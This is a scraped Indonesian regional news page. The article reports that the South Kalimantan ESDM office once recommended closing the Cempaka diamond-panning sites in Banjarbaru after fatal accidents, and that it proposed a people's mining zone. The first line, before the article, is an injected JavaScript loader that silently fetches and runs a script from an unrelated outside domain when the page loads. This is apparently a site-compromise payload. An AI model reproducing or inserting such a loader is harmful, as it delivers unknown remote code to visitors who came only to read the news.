(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Dinas ESDM Kalsel Sempat Rekomendasikan Pendulangan Intan Cempaka Ditutup


KANALKALIMANTAN.COM, BANJARBARU- Banyaknya korban meninggal di pendulangan intan Cempaka, Banjarbaru, pernah disikapi khusus oleh Dinas Energi dan Sumber Daya Mineral (ESDM) Kalimantan Selatan. Mereka sempat meminta dilakukan penutupan sementara aktivitas pendulangan intan di Kelurahan Sungai Tiung, Kecamatan Cempaka, Kota Banjarbaru.

Saat terjadi musibah besar tahun 2019 yang menelan 5 nyawa penambang, ESDM Kalsel sempat meminta ditutup sementara untuk menghindari tragedi lanjutan. Apalagi, status kawasannya itu tidak jelas, wilayah pertambangan atau bukan.

“Dilihat dari sistem menambangnya juga ngawur. Karena itu saya sarankan lebih baik ditutup sementara waktu,” kata Isharwanto, selaku Kadis ESDM ketika itu.

Baca juga: Pendulangan Intan Cempaka Makan Korban, Seorang Tewas Tertimbun Longsor

 

 

Di sisi lain, ESDM meminta agar Pemkot Banjarbaru bertindak cepat mencari solusi terbaik untuk masyarakat di lokasi penambangan. Sebab kalaupun ditutup, maka mata pencaharian utama warga sekitar tak terputus.

Tawaran konkret jangka panjang dari Dinas ESDM Kalsel adalah menjadikan Pumpung dan Sungai Tiung sebagai Wilayah Pertambangan Rakyat (WPR). Namun, kata dia, langkah ini juga perlu komitmen dari Pemko Banjarbaru.

Sebab, pemerintah kota harus memperjelas lagi status kawasan yang mengacu Rencana Tata Ruang Wilayah (RTRW) Banjarbaru yang menyebutkan bahwa Pumpung merupakan kawasan pertambangan.

Dilansir dari hukumonline.com, definisi WPR dalam UU 4/2009 adalah salah satu bagian dari wilayah pertambangan tempat dilakukan kegiatan usaha pertambangan rakyat. Yang dimaksud dengan wilayah pertambangan adalah wilayah yang memiliki potensi mineral dan/atau batubara dan tidak terikat dengan batasan administrasi pemerintahan yang merupakan bagian dari tata ruang nasional.

Pemerintah sebelumnya, saat masih dijabat alm Nadjmi Adhani, meminta Dinas Pertanian mengalih-usahakan masyarakat ke usaha peternakan itik. Namun, kelangsungan program tersebut belum terpantau.(Kanalkalimantan.com/kk)

 

Editor: cell


Risa

Recent Posts

Belanja Bahagia, PLN Tebar Senyum Berkah untuk Anak Yatim

KANALKALIMANTAN.COM, PONTIANAK - PLN melalui Yayasan Baitul Maal (YBM) PLN dan Srikandi PLN menebar kebahagiaan… Read More

9 jam ago

Hadapi PSU 19 April, 403 PTPS Dilantik dan Diaktifkan Kembali

KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 403 orang Pengawas Tempat Pemungutan Suara (PTPS) se Kota Banjarbaru akan… Read More

9 jam ago

Kepala BIN Resmikan Mako BINDA Kalsel di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Kepala Badan Intelijen Nasional (BIN) Muhammad Herindra meresmikan gedung baru Markas Komando… Read More

9 jam ago

163 Calon Jemaah Haji Banjarbaru Mulai Ikuti Manasik

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru melalui Kantor Kementerian Agama Kota Banjarbaru resmi membuka kegiatan… Read More

10 jam ago

Desa Longkong Ikuti Lomba Posyandu, Ini Pesan Ketua TP PKK HSU

KANALKALIMANTAN.COM, AMUNTAI – Pos Pelayanan Terpadu (Posyandu) Mawar Desa Longkong, Kecamatan Danau Panggang, menjadi lokasi… Read More

11 jam ago

DPRD Banjarbaru Berikan 11 Evaluasi LKPj Wali Kota Tahun Anggaran 2024

KANALKALIMANTAN.COM, BANJARBARU - Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru memberikan evaluasi terkait rekomendasi laporan… Read More

13 jam ago

This website uses cookies.